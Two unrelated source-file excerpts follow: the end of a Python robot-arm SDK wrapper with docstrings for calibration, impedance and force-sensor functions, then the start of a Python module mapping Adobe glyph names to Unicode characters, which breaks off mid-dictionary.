coordinate system position offset Note: 1. only available if firmware_version >= 1.6.9 :param four_points: a list of four teaching coordinate positions [x, y, z, roll, pitch, yaw] :param is_radian: the roll/pitch/yaw value of the each point in radians or not, default is self.default_is_radian :return: tuple((code, xyz_offset)), only when code is 0, the returned result is correct. code: See the API code documentation for details. xyz_offset: calculated xyz(mm) TCP offset, [x, y, z] """ return self._arm.calibrate_tcp_coordinate_offset(four_points, is_radian=is_radian) def calibrate_tcp_orientation_offset(self, rpy_be, rpy_bt, input_is_radian=None, return_is_radian=None): """ An additional teaching point to calibrate the tool coordinate system attitude offset Note: 1. only available if firmware_version >= 1.6.9 :param rpy_be: the rpy value of the teaching point without TCP offset [roll, pitch, yaw] :param rpy_bt: the rpy value of the teaching point with TCP offset [roll, pitch, yaw] :param input_is_radian: the roll/pitch/yaw value of rpy_be and rpy_bt in radians or not, default is self.default_is_radian :param return_is_radian: the roll/pitch/yaw value of result in radians or not, default is self.default_is_radian :return: tuple((code, rpy_offset)), only when code is 0, the returned result is correct. code: See the API code documentation for details. rpy_offset: calculated rpy TCP offset, [roll, pitch, yaw] """ return self._arm.calibrate_tcp_orientation_offset(rpy_be, rpy_bt, input_is_radian=input_is_radian, return_is_radian=return_is_radian) def calibrate_user_orientation_offset(self, three_points, mode=0, trust_ind=0, input_is_radian=None, return_is_radian=None): """ Three-point method teaches user coordinate system posture offset Note: 1. only available if firmware_version >= 1.6.9 Note: First determine a point in the working space, move along the desired coordinate system x+ to determine the second point, and then move along the desired coordinate system y+ to determine the third point. Note that the x+ direction is as accurate as possible. If the y+ direction is not completely perpendicular to x+, it will be corrected in the calculation process. :param three_points: a list of teaching TCP coordinate positions [x, y, z, roll, pitch, yaw] :param input_is_radian: the roll/pitch/yaw value of the each point in radians or not, default is self.default_is_radian :param return_is_radian: the roll/pitch/yaw value of result in radians or not, default is self.default_is_radian :return: tuple((code, rpy_offset)), only when code is 0, the returned result is correct. code: See the API code documentation for details. rpy_offset: calculated rpy user offset, [roll, pitch, yaw] """ return self._arm.calibrate_user_orientation_offset(three_points, mode=mode, trust_ind=trust_ind, input_is_radian=input_is_radian, return_is_radian=return_is_radian) def calibrate_user_coordinate_offset(self, rpy_ub, pos_b_uorg, is_radian=None): """ An additional teaching point determines the position offset of the user coordinate system. Note: 1. only available if firmware_version >= 1.6.9 :param rpy_ub: the confirmed offset of the base coordinate system in the user coordinate system [roll, pitch, yaw], which is the result of calibrate_user_orientation_offset() :param pos_b_uorg: the position of the teaching point in the base coordinate system [x, y, z], if the arm cannot reach the target position, the user can manually input the position of the target in the base coordinate. :param is_radian: the roll/pitch/yaw value of rpy_ub in radians or not, default is self.default_is_radian :return: tuple((code, xyz_offset)), only when code is 0, the returned result is correct. code: See the API code documentation for details. xyz_offset: calculated xyz(mm) user offset, [x, y, z] """ return self._arm.calibrate_user_coordinate_offset(rpy_ub, pos_b_uorg, is_radian=is_radian) def get_base_board_version(self, board_id=10): """ Get base board version :param board_id: int :return: : (code, version) code: See the API code documentation for details. """ return self._arm.get_base_board_version(board_id) def set_impedance(self, coord, c_axis, M, K, B, **kwargs): """ Set all parameters of impedance control through the Six-axis Force Torque Sensor. Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :param coord: task frame. 0: base frame. 1: tool frame. :param c_axis: a 6d vector of 0s and 1s. 1 means that robot will be impedance in the corresponding axis of the task frame. :param M: mass. (kg) :param K: stiffness coefficient. :param B: damping coefficient. invalid. Note: the value is set to 2*sqrt(M*K) in controller. :return: code code: See the API code documentation for details. """ return self._arm.set_impedance(coord, c_axis, M, K, B, **kwargs) def set_impedance_mbk(self, M, K, B, **kwargs): """ Set mbk parameters of impedance control through the Six-axis Force Torque Sensor. Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :param M: mass. (kg) :param K: stiffness coefficient. :param B: damping coefficient. invalid. Note: the value is set to 2*sqrt(M*K) in controller. :return: code code: See the API code documentation for details. """ return self._arm.set_impedance_mbk(M, K, B, **kwargs) def set_impedance_config(self, coord, c_axis): """ Set impedance control parameters of impedance control through the Six-axis Force Torque Sensor. Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :param coord: task frame. 0: base frame. 1: tool frame. :param c_axis: a 6d vector of 0s and 1s. 1 means that robot will be impedance in the corresponding axis of the task frame. :return: code code: See the API code documentation for details. """ return self._arm.set_impedance_config(coord, c_axis) def config_force_control(self, coord, c_axis, f_ref, limits, **kwargs): """ Set force control parameters through the Six-axis Force Torque Sensor. Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :param coord: task frame. 0: base frame. 1: tool frame. :param c_axis: a 6d vector of 0s and 1s. 1 means that robot will be compliant in the corresponding axis of the task frame. :param f_ref: the forces/torques the robot will apply to its environment. The robot adjusts its position along/about compliant axis in order to achieve the specified force/torque. :param limits: for compliant axes, these values are the maximum allowed tcp speed along/about the axis. :return: code code: See the API code documentation for details. """ return self._arm.config_force_control(coord, c_axis, f_ref, limits, **kwargs) def set_force_control_pid(self, kp, ki, kd, xe_limit, **kwargs): """ Set force control pid parameters through the Six-axis Force Torque Sensor. Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :param kp: proportional gain. :param ki: integral gain. :param kd: differential gain. :param xe_limit: 6d vector. for compliant axes, these values are the maximum allowed tcp speed along/about the axis. mm/s :return: code code: See the API code documentation for details. """ return self._arm.set_force_control_pid(kp, ki, kd, xe_limit, **kwargs) def ft_sensor_set_zero(self): """ Set the current state to the zero point of the Six-axis Force Torque Sensor Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :return: code code: See the API code documentation for details. """ return self._arm.ft_sensor_set_zero() def ft_sensor_iden_load(self): """ Identification the tcp load with the the Six-axis Force Torque Sensor Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :return: tuple((code, load)) only when code is 0, the returned result is correct. code: See the API code documentation for details. load: [mass,x_centroid,y_centroid,z_centroid,Fx_offset,Fy_offset,Fz_offset,Tx_offset,Ty_offset,Tz_ffset] """ return self._arm.ft_sensor_iden_load() def ft_sensor_cali_load(self, iden_result_list, association_setting_tcp_load=False, **kwargs): """ Write the load offset parameters identified by the Six-axis Force Torque Sensor Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :param iden_result_list: [mass,x_centroid,y_centroid,z_centroid,Fx_offset,Fy_offset,Fz_offset,Tx_offset,Ty_offset,Tz_ffset] :param association_setting_tcp_load: whether to convert the parameter to the corresponding tcp load and set, default is False Note: If True, the value of tcp load will be modified :return: code code: See the API code documentation for details. """ return self._arm.ft_sensor_cali_load(iden_result_list, association_setting_tcp_load=association_setting_tcp_load, **kwargs) def ft_sensor_enable(self, on_off): """ Used for enabling and disabling the use of the Six-axis Force Torque Sensor measurements in the controller. Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :param on_off: enable or disable F/T data sampling. :return: code code: See the API code documentation for details. """ return self._arm.ft_sensor_enable(on_off) def ft_sensor_app_set(self, app_code): """ Set robot to be controlled in force mode. (Through the Six-axis Force Torque Sensor) Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :param app_code: force mode. 0: non-force mode 1: impendance control 2: force control :return: code code: See the API code documentation for details. """ return self._arm.ft_sensor_app_set(app_code) def ft_sensor_app_get(self): """ Get force mode Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :return: tuple((code, app_code)) code: See the API code documentation for details. app_code: 0: non-force mode 1: impedance control mode 2: force control mode """ return self._arm.ft_sensor_app_get() def get_ft_sensor_data(self): """ Get the data of the Six-axis Force Torque Sensor Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :return: tuple((code, exe_ft)) code: See the API code documentation for details. ft_data: only when code is 0, the returned result is correct. Note: The external force detection value of the extenal force/torque sensor after filtering, load and offset compensation """ return self._arm.get_ft_sensor_data() def get_ft_senfor_config(self): """ Get the config of the Six-axis Force Torque Sensor Note: 1. only available if firmware_version >= 1.8.3 2. the Six-axis Force Torque Sensor is required (the third party is not currently supported) :return: tuple((code, config)) code: See the API code documentation for details. config: [...], the config of the extenal force/torque, only when code is 0, the returned result is correct. [0] ft_app_status: force mode 0: non-force mode 1: impendance control 2: force control [1] ft_is_started: ft sensor is enable or not [2] ft_type: ft sensor type [3] ft_id: ft sensor id [4] ft_freq: ft sensor frequency [5] ft_mass: load mass [6] ft_dir_bias: reversed [7] ft_centroid: [x_centroid,y_centroid,z_centroid] [8] ft_zero: [Fx_offset,Fy_offset,Fz_offset,Tx_offset,Ty_offset,Tz_ffset] [9] imp_coord: task frame of impendance control mode. 0: base frame. 1: tool frame. [10] imp_c_axis: a 6d vector of 0s and 1s. 1 means that robot will be impedance in the corresponding axis of the task frame. [11] M: mass. (kg) [12] K: stiffness coefficient. [13] B: damping coefficient. invalid. Note: the value is set to 2*sqrt(M*K) in controller. [14] f_coord: task frame of force control mode. 0: base frame. 1: tool frame. [15] f_c_axis: a 6d vector of 0s and 1s. 1 means that robot will be impedance in the corresponding axis of the task frame. [16
codeparrot/github-code-clean
#!/usr/bin/env python """ Mappings from Adobe glyph names to Unicode characters. In some CMap tables, Adobe glyph names are used for specifying Unicode characters instead of using decimal/hex character code. The following data was taken by $ wget https://partners.adobe.com/public/developer/en/opentype/glyphlist.txt $ python tools/conv_glyphlist.py glyphlist.txt > glyphlist.py """ # ################################################################################### # Copyright (c) 1997,1998,2002,2007 Adobe Systems Incorporated # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this documentation file to use, copy, publish, distribute, # sublicense, and/or sell copies of the documentation, and to permit # others to do the same, provided that: # - No modification, editing or other alteration of this document is # allowed; and # - The above copyright notice and this permission notice shall be # included in all copies of the documentation. # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this documentation file, to create their own derivative works # from the content of this document to use, copy, publish, distribute, # sublicense, and/or sell the derivative works, and to permit others to do # the same, provided that the derived work is not represented as being a # copy or version of this document. # # Adobe shall not be liable to any party for any loss of revenue or profit # or for indirect, incidental, special, consequential, or other similar # damages, whether based on tort (including without limitation negligence # or strict liability), contract or other legal or equitable grounds even # if Adobe has been advised or had reason to know of the possibility of # such damages. The Adobe materials are provided on an "AS IS" basis. # Adobe specifically disclaims all express, statutory, or implied # warranties relating to the Adobe materials, including but not limited to # those concerning merchantability or fitness for a particular purpose or # non-infringement of any third party rights regarding the Adobe # materials. # ################################################################################### # Name: Adobe Glyph List # Table version: 2.0 # Date: September 20, 2002 # # See http://partners.adobe.com/asn/developer/typeforum/unicodegn.html # # Format: Semicolon-delimited fields: # (1) glyph name # (2) Unicode scalar value glyphname2unicode = { 'A': u'\u0041', 'AE': u'\u00C6', 'AEacute': u'\u01FC', 'AEmacron': u'\u01E2', 'AEsmall': u'\uF7E6', 'Aacute': u'\u00C1', 'Aacutesmall': u'\uF7E1', 'Abreve': u'\u0102', 'Abreveacute': u'\u1EAE', 'Abrevecyrillic': u'\u04D0', 'Abrevedotbelow': u'\u1EB6', 'Abrevegrave': u'\u1EB0', 'Abrevehookabove': u'\u1EB2', 'Abrevetilde': u'\u1EB4', 'Acaron': u'\u01CD', 'Acircle': u'\u24B6', 'Acircumflex': u'\u00C2', 'Acircumflexacute': u'\u1EA4', 'Acircumflexdotbelow': u'\u1EAC', 'Acircumflexgrave': u'\u1EA6', 'Acircumflexhookabove': u'\u1EA8', 'Acircumflexsmall': u'\uF7E2', 'Acircumflextilde': u'\u1EAA', 'Acute': u'\uF6C9', 'Acutesmall': u'\uF7B4', 'Acyrillic': u'\u0410', 'Adblgrave': u'\u0200', 'Adieresis': u'\u00C4', 'Adieresiscyrillic': u'\u04D2', 'Adieresismacron': u'\u01DE', 'Adieresissmall': u'\uF7E4', 'Adotbelow': u'\u1EA0', 'Adotmacron': u'\u01E0', 'Agrave': u'\u00C0', 'Agravesmall': u'\uF7E0', 'Ahookabove': u'\u1EA2', 'Aiecyrillic': u'\u04D4', 'Ainvertedbreve': u'\u0202', 'Alpha': u'\u0391', 'Alphatonos': u'\u0386', 'Amacron': u'\u0100', 'Amonospace': u'\uFF21', 'Aogonek': u'\u0104', 'Aring': u'\u00C5', 'Aringacute': u'\u01FA', 'Aringbelow': u'\u1E00', 'Aringsmall': u'\uF7E5', 'Asmall': u'\uF761', 'Atilde': u'\u00C3', 'Atildesmall': u'\uF7E3', 'Aybarmenian': u'\u0531', 'B': u'\u0042', 'Bcircle': u'\u24B7', 'Bdotaccent': u'\u1E02', 'Bdotbelow': u'\u1E04', 'Becyrillic': u'\u0411', 'Benarmenian': u'\u0532', 'Beta': u'\u0392', 'Bhook': u'\u0181', 'Blinebelow': u'\u1E06', 'Bmonospace': u'\uFF22', 'Brevesmall': u'\uF6F4', 'Bsmall': u'\uF762', 'Btopbar': u'\u0182', 'C': u'\u0043', 'Caarmenian': u'\u053E', 'Cacute': u'\u0106', 'Caron': u'\uF6CA', 'Caronsmall': u'\uF6F5', 'Ccaron': u'\u010C', 'Ccedilla': u'\u00C7', 'Ccedillaacute': u'\u1E08', 'Ccedillasmall': u'\uF7E7', 'Ccircle': u'\u24B8', 'Ccircumflex': u'\u0108', 'Cdot': u'\u010A', 'Cdotaccent': u'\u010A', 'Cedillasmall': u'\uF7B8', 'Chaarmenian': u'\u0549', 'Cheabkhasiancyrillic': u'\u04BC', 'Checyrillic': u'\u0427', 'Chedescenderabkhasiancyrillic': u'\u04BE', 'Chedescendercyrillic': u'\u04B6', 'Chedieresiscyrillic': u'\u04F4', 'Cheharmenian': u'\u0543', 'Chekhakassiancyrillic': u'\u04CB', 'Cheverticalstrokecyrillic': u'\u04B8', 'Chi': u'\u03A7', 'Chook': u'\u0187', 'Circumflexsmall': u'\uF6F6', 'Cmonospace': u'\uFF23', 'Coarmenian': u'\u0551', 'Csmall': u'\uF763', 'D': u'\u0044', 'DZ': u'\u01F1', 'DZcaron': u'\u01C4', 'Daarmenian': u'\u0534', 'Dafrican': u'\u0189', 'Dcaron': u'\u010E', 'Dcedilla': u'\u1E10', 'Dcircle': u'\u24B9', 'Dcircumflexbelow': u'\u1E12', 'Dcroat': u'\u0110', 'Ddotaccent': u'\u1E0A', 'Ddotbelow': u'\u1E0C', 'Decyrillic': u'\u0414', 'Deicoptic': u'\u03EE', 'Delta': u'\u2206', 'Deltagreek': u'\u0394', 'Dhook': u'\u018A', 'Dieresis': u'\uF6CB', 'DieresisAcute': u'\uF6CC', 'DieresisGrave': u'\uF6CD', 'Dieresissmall': u'\uF7A8', 'Digammagreek': u'\u03DC', 'Djecyrillic': u'\u0402', 'Dlinebelow': u'\u1E0E', 'Dmonospace': u'\uFF24', 'Dotaccentsmall': u'\uF6F7', 'Dslash': u'\u0110', 'Dsmall': u'\uF764', 'Dtopbar': u'\u018B', 'Dz': u'\u01F2', 'Dzcaron': u'\u01C5', 'Dzeabkhasiancyrillic': u'\u04E0', 'Dzecyrillic': u'\u0405', 'Dzhecyrillic': u'\u040F', 'E': u'\u0045', 'Eacute': u'\u00C9', 'Eacutesmall': u'\uF7E9', 'Ebreve': u'\u0114', 'Ecaron': u'\u011A', 'Ecedillabreve': u'\u1E1C', 'Echarmenian': u'\u0535', 'Ecircle': u'\u24BA', 'Ecircumflex': u'\u00CA', 'Ecircumflexacute': u'\u1EBE', 'Ecircumflexbelow': u'\u1E18', 'Ecircumflexdotbelow': u'\u1EC6', 'Ecircumflexgrave': u'\u1EC0', 'Ecircumflexhookabove': u'\u1EC2', 'Ecircumflexsmall': u'\uF7EA', 'Ecircumflextilde': u'\u1EC4', 'Ecyrillic': u'\u0404', 'Edblgrave': u'\u0204', 'Edieresis': u'\u00CB', 'Edieresissmall': u'\uF7EB', 'Edot': u'\u0116', 'Edotaccent': u'\u0116', 'Edotbelow': u'\u1EB8', 'Efcyrillic': u'\u0424', 'Egrave': u'\u00C8', 'Egravesmall': u'\uF7E8', 'Eharmenian': u'\u0537', 'Ehookabove': u'\u1EBA', 'Eightroman': u'\u2167', 'Einvertedbreve': u'\u0206', 'Eiotifiedcyrillic': u'\u0464', 'Elcyrillic': u'\u041B', 'Elevenroman': u'\u216A', 'Emacron': u'\u0112', 'Emacronacute': u'\u1E16', 'Emacrongrave': u'\u1E14', 'Emcyrillic': u'\u041C', 'Emonospace': u'\uFF25', 'Encyrillic': u'\u041D', 'Endescendercyrillic': u'\u04A2', 'Eng': u'\u014A', 'Enghecyrillic': u'\u04A4', 'Enhookcyrillic': u'\u04C7', 'Eogonek': u'\u0118', 'Eopen': u'\u0190', 'Epsilon': u'\u0395', 'Epsilontonos': u'\u0388', 'Ercyrillic': u'\u0420', 'Ereversed': u'\u018E', 'Ereversedcyrillic': u'\u042D', 'Escyrillic': u'\u0421', 'Esdescendercyrillic': u'\u04AA', 'Esh': u'\u01A9', 'Esmall': u'\uF765', 'Eta': u'\u0397', 'Etarmenian': u'\u0538', 'Etatonos': u'\u0389', 'Eth': u'\u00D0', 'Ethsmall': u'\uF7F0', 'Etilde': u'\u1EBC', 'Etildebelow': u'\u1E1A', 'Euro': u'\u20AC', 'Ezh': u'\u01B7', 'Ezhcaron': u'\u01EE', 'Ezhreversed': u'\u01B8', 'F': u'\u0046', 'Fcircle': u'\u24BB', 'Fdotaccent': u'\u1E1E', 'Feharmenian': u'\u0556', 'Feicoptic': u'\u03E4', 'Fhook': u'\u0191', 'Fitacyrillic': u'\u0472', 'Fiveroman': u'\u2164', 'Fmonospace': u'\uFF26', 'Fourroman': u'\u2163', 'Fsmall': u'\uF766', 'G': u'\u0047', 'GBsquare': u'\u3387', 'Gacute': u'\u01F4', 'Gamma': u'\u0393', 'Gammaafrican': u'\u0194', 'Gangiacoptic': u'\u03EA', 'Gbreve': u'\u011E', 'Gcaron': u'\u01E6', 'Gcedilla': u'\u0122', 'Gcircle': u'\u24BC', 'Gcircumflex': u'\u011C', 'Gcommaaccent': u'\u0122', 'Gdot': u'\u0120', 'Gdotaccent': u'\u0120', 'Gecyrillic': u'\u0413', 'Ghadarmenian': u'\u0542', 'Ghemiddlehookcyrillic': u'\u0494', 'Ghestrokecyrillic': u'\u0492', 'Gheupturncyrillic': u'\u0490', 'Ghook': u'\u0193', 'Gimarmenian': u'\u0533', 'Gjecyrillic': u'\u0403', 'Gmacron': u'\u1E20', 'Gmonospace': u'\uFF27', 'Grave': u'\uF6CE', 'Gravesmall': u'\uF760', 'Gsmall': u'\uF767', 'Gsmallhook': u'\u029B', 'Gstroke': u'\u01E4', 'H': u'\u0048', 'H18533': u'\u25CF', 'H18543': u'\u25AA', 'H18551': u'\u25AB', 'H22073': u'\u25A1', 'HPsquare': u'\u33CB', 'Haabkhasiancyrillic': u'\u04A8', 'Hadescendercyrillic': u'\u04B2', 'Hardsigncyrillic': u'\u042A', 'Hbar': u'\u0126', 'Hbrevebelow': u'\u1E2A', 'Hcedilla': u'\u1E28', 'Hcircle': u'\u24BD', 'Hcircumflex': u'\u0124', 'Hdieresis': u'\u1E26', 'Hdotaccent': u'\u1E22', 'Hdotbelow': u'\u1E24', 'Hmonospace': u'\uFF28', 'Hoarmenian': u'\u0540', 'Horicoptic': u'\u03E8', 'Hsmall': u'\uF768', 'Hungarumlaut': u'\uF6CF', 'Hungarumlautsmall': u'\uF6F8', 'Hzsquare': u'\u3390', 'I': u'\u0049', 'IAcyrillic': u'\u042F', 'IJ': u'\u0132', 'IUcyrillic': u'\u042E', 'Iacute': u'\u00CD', 'Iacutesmall': u'\uF7ED', 'Ibreve': u'\u012C', 'Icaron': u'\u01CF', 'Icircle': u'\u24BE', 'Icircumflex': u'\u00CE', 'Icircumflexsmall': u'\uF7EE', 'Icyrillic': u'\u0406', 'Idblgrave': u'\u0208', 'Idieresis': u'\u00CF', 'Idieresisacute': u'\u1E2E', 'Idieresiscyrillic': u'\u04E4', 'Idieresissmall': u'\uF7EF', 'Idot': u'\u0130', 'Idotaccent': u'\u0130', 'Idotbelow': u'\u1ECA', 'Iebrevecyrillic': u'\u04D6', 'Iecyrillic': u'\u0415', 'Ifraktur': u'\u2111', 'Igrave': u'\u00CC', 'Igravesmall': u'\uF7EC', 'Ihookabove': u'\u1EC8', 'Iicyrillic': u'\u0418', 'Iinvertedbreve': u'\u020A', 'Iishortcyrillic': u'\u0419', 'Imacron': u'\u012A', 'Imacroncyrillic': u'\u04E2', 'Imonospace': u'\uFF29', 'Iniarmenian': u'\u053B', 'Iocyrillic': u'\u0401', 'Iogonek': u'\u012E', 'Iota': u'\u0399', 'Iotaafrican': u'\u0196', 'Iotadieresis': u'\u03AA', 'Iotatonos': u'\u038A', 'Ismall': u'\uF769', 'Istroke': u'\u0197', 'Itilde': u'\u0128', 'Itildebelow': u'\u1E2C', 'Izhitsacyrillic': u'\u0474', 'Izhitsadblgravecyrillic': u'\u0476', 'J': u'\u004A', 'Jaarmenian': u'\u0541', 'Jcircle': u'\u24BF', 'Jcircumflex': u'\u0134', 'Jecyrillic': u'\u0408', 'Jheharmenian': u'\u054B', 'Jmonospace': u'\uFF2A', 'Jsmall': u'\uF76A', 'K': u'\u004B', 'KBsquare': u'\u3385', 'KKsquare': u'\u33CD', 'Kabashkircyrillic': u'\u04A0', 'Kacute': u'\u1E30', 'Kacyrillic': u'\u041A', 'Kadescendercyrillic': u'\u049A', 'Kahookcyrillic': u'\u04C3', 'Kappa': u'\u039A', 'Kastrokecyrillic': u'\u049E', 'Kaverticalstrokecyrillic': u'\u049C', 'Kcaron': u'\u01E8', 'Kcedilla': u'\u0136', 'Kcircle': u'\u24C0', 'Kcommaaccent': u'\u0136', 'Kdotbelow': u'\u1E32', 'Keharmenian': u'\u0554', 'Kenarmenian': u'\u053F', 'Khacyrillic': u'\u0425', 'Kheicoptic': u'\u03E6', 'Khook': u'\u0198', 'Kjecyrillic': u'\u040C', 'Klinebelow': u'\u1E34', 'Kmonospace': u'\uFF2B', 'Koppacyrillic': u'\u0480', 'Koppagreek': u'\u03DE', 'Ksicyrillic': u'\u046E', 'Ksmall': u'\uF76B', 'L': u'\u004C', 'LJ': u'\u01C7', 'LL': u'\uF6BF', 'Lacute': u'\u0139', 'Lambda': u'\u039B', 'Lcaron': u'\u013D', 'Lcedilla': u'\u013B', 'Lcircle': u'\u24C1', 'Lcircumflexbelow': u'\u1E3C', 'Lcommaaccent': u'\u013B', 'Ldot': u'\u013F', 'Ldotaccent': u'\u013F', 'Ldotbelow': u'\u1E36', 'Ldotbelowmacron': u'\u1E38', 'Liwnarmenian': u'\u053C', 'Lj': u'\u01C8', 'Ljecyrillic': u'\u0409', 'Llinebelow': u'\u1E3A', 'Lmonospace': u'\uFF2C', 'Lslash': u'\u0141', 'Lslashsmall': u'\uF6F9', 'Lsmall': u'\uF76C', 'M': u'\u004D', 'MBsquare': u'\u3386', 'Macron': u'\uF6D0', 'Macronsmall': u'\uF7AF', 'Macute': u'\u1E3E', 'Mcircle': u'\u24C2', 'Mdotaccent': u'\u1E40', 'Mdotbelow': u'\u1E42', 'Menarmenian': u'\u0544', 'Mmonospace': u'\uFF2D', 'Msmall': u'\uF76D', 'Mturned': u'\u019C', 'Mu': u'\u039C', 'N': u'\u004E', 'NJ': u'\u01CA', 'Nacute': u'\u0143', 'Ncaron': u'\u0147', 'Ncedilla': u'\u0145', 'Ncircle': u'\u24C3', 'Ncircumflexbelow': u'\u1E4A', 'Ncommaaccent': u'\u0145', 'Ndotaccent': u'\u1E44', 'Ndotbelow': u'\u1E46', 'Nhookleft': u'\u019D', 'Nineroman': u'\u2168', 'Nj': u'\u01CB', 'Njecyrillic': u'\u040A', 'Nlinebelow': u'\u1E48', 'Nmonospace': u'\uFF2E', 'Nowarmenian': u'\u0546', 'Nsmall': u'\uF76E', 'Ntilde': u'\u00D1', 'Ntildesmall': u'\uF7F1', 'Nu': u'\u039D', 'O': u'\u004F', 'OE': u'\u0152', 'OEsmall': u'\uF6FA', 'Oacute': u'\u00D3', 'Oacutesmall': u'\uF7F3', 'Obarredcyrillic': u'\u04E8', 'Obarreddieresiscyrillic': u'\u04EA', 'Obreve': u'\u014E', 'Ocaron': u'\u01D1', 'Ocenteredtilde': u'\u019F', 'Ocircle': u'\u24C4', 'Ocircumflex': u'\u00D4', 'Ocircumflexacute': u'\u1ED0', 'Ocircumflexdotbelow': u'\u1ED8', 'Ocircumflexgrave': u'\u1ED2', 'Ocircumflexhookabove': u'\u1ED4', 'Ocircumflexsmall': u'\uF7F4', 'Ocircumflextilde': u'\u1ED6', 'Ocyrillic': u'\u041E', 'Odblacute': u'\u0150', 'Odblgrave': u'\u020C', 'Odieresis': u'\u00D6', 'Odieresiscyrillic': u'\u04E6', 'Odieresissmall': u'\uF7F6', 'Odotbelow': u'\u1ECC', 'Ogoneksmall': u'\uF6FB', 'Ograve': u'\u00D2', 'Ogravesmall': u'\uF7F2', 'Oharmenian': u'\u0555', 'Ohm': u'\u2126', 'Ohookabove': u'\u1ECE', 'Ohorn': u'\u01A0', 'Ohornacute': u'\u1EDA', 'Ohorndotbelow': u'\u1EE2', 'Ohorngrave': u'\u1EDC', 'Ohornhookabove': u'\u1EDE', 'Ohorntilde': u'\u1EE0', 'Ohungarumlaut': u'\u0150', 'Oi': u'\u01A2', 'Oinvertedbreve': u'\u020E', 'Omacron': u'\u014C', 'Omacronacute': u'\u1E52', 'Omacrongrave': u'\u1E50', 'Omega': u'\u2126', 'Omegacyrillic': u'\u0460', 'Omegagreek': u'\u03A9', 'Omegaroundcyrillic': u'\u047A', 'Omegatitlocyrillic': u'\u047C', 'Omegatonos': u'\u038F', 'Omicron': u'\u039F', 'Omicrontonos': u'\u038C', 'Omonospace': u'\uFF2F', 'Oneroman': u'\u2160', 'Oogonek': u'\u01EA', 'Oogonekmacron': u'\u01EC', 'Oopen': u'\u0186', 'Oslash': u'\u00D8', 'Oslashacute': u'\u01FE', 'Oslashsmall': u'\uF7F8', 'Osmall': u'\uF76F', 'Ostrokeacute': u'\u01FE', 'Otcyrillic': u'\u047E', 'Otilde': u'\u00D5', 'Otildeacute': u'\u1E4C', 'Otildedieresis': u'\u1E4E', 'Otildesmall': u'\uF7F5', 'P': u'\u0050', 'Pacute': u'\u1E54', 'Pcircle': u'\u24C5', 'Pdotaccent': u'\u1E56', 'Pecyrillic': u'\u041F', 'Peharmenian': u'\u054A', 'Pemiddlehookcyrillic': u'\u04A6', 'Phi': u'\u03A6', 'Phook': u'\u01A4', 'Pi': u'\u03A0', 'Piwrarmenian': u'\u0553', 'Pmonospace': u'\uFF30', 'Psi': u'\u03A8', 'Psicyrillic': u'\u0470', 'Psmall': u'\uF770', 'Q': u'\u0051', 'Qcircle': u'\u24C6', 'Qmonospace': u'\uFF31', 'Qsmall': u'\uF771', 'R': u'\u0052', 'Raarmenian': u'\u054C', 'Racute': u'\u0154', 'Rcaron': u'\u0158', 'Rcedilla': u'\u0156', 'Rcircle': u'\u24C7', 'Rcommaaccent': u'\u0156', 'Rdblgrave': u'\u0210', 'Rdotaccent': u'\u1E58', 'Rdotbelow': u'\u1E5A', 'Rdotbelowmacron': u'\u1E5C', 'Reharmenian': u'\u0550', 'Rfraktur': u'\u211C', 'Rho': u'\u03A1', 'Ringsmall': u'\uF6FC', 'Rinvertedbreve': u'\u0212', 'Rlinebelow': u'\u1E5E', 'Rmonospace': u'\uFF32', 'Rsmall': u'\uF772', 'Rsmallinverted': u'\u0281', 'Rsmallinvertedsuperior': u'\u02B6', 'S': u'\u0053', 'SF010000': u'\u250C', 'SF020000': u'\u2514', 'SF030000': u'\u2510', 'SF040000': u'\u2518', 'SF050000': u'\u253C', 'SF060000': u'\u252C', 'SF070000': u'\u2534', 'SF080000': u'\u251C', 'SF090000': u'\u2524', 'SF100000': u'\u2500', 'SF110000': u'\u2502', 'SF190000': u'\u2561', 'SF200000': u'\u2562', 'SF210000': u'\u2556', 'SF220000': u'\u2555', 'SF230000': u'\u2563', 'SF240000': u'\u2551', 'SF250000': u'\u2557', 'SF260000': u'\u255D', 'SF270000': u'\u255C', 'SF280000': u'\u255B', 'SF360000': u'\u255E', 'SF370000': u'\u255F', 'SF380000': u'\u255A', 'SF390000': u'\u2554', 'SF400000': u'\u2569', 'SF410000': u'\u2566', 'SF420000': u'\u2560', 'SF430000': u'\u2550', 'SF440000': u'\u256C', 'SF450000': u'\u2567', 'SF460000': u'\u2568', 'SF470000': u'\u2564', 'SF480000': u'\u2565', 'SF490000': u'\u2559', 'SF500000': u'\u2558', 'SF510000': u'\u2552', 'SF520000': u'\u2553', 'SF530000': u'\u256B', 'SF540000': u'\u256A', 'Sacute': u'\u015A', 'Sacutedotaccent': u'\u1E64', 'Sampigreek': u'\u03E0', 'Scaron': u'\u0160', 'Scarondotaccent': u'\u1E66', 'Scaronsmall': u'\uF6FD', 'Scedilla': u'\u015E', 'Schwa': u'\u018F', 'Schwacyrillic': u'\u04D8', 'Schwadieresiscyrillic': u'\u04DA', 'Scircle': u'\u24C8', 'Scircumflex': u'\u015C', 'Scommaaccent': u'\u0218', 'Sdotaccent': u'\u1E60', 'Sdotbelow': u'\u1E62', 'Sdotbelowdotaccent': u'\u1E68', 'Seharmenian': u'\u054D', 'Sevenroman': u'\u2166', 'Shaarmenian': u'\u0547', 'Shacyrillic': u'\u0428', 'Shchacyrillic': u'\u0429', 'Sheicoptic': u'\u03E2', 'Shhacyrillic': u'\u04BA', 'Shimacoptic': 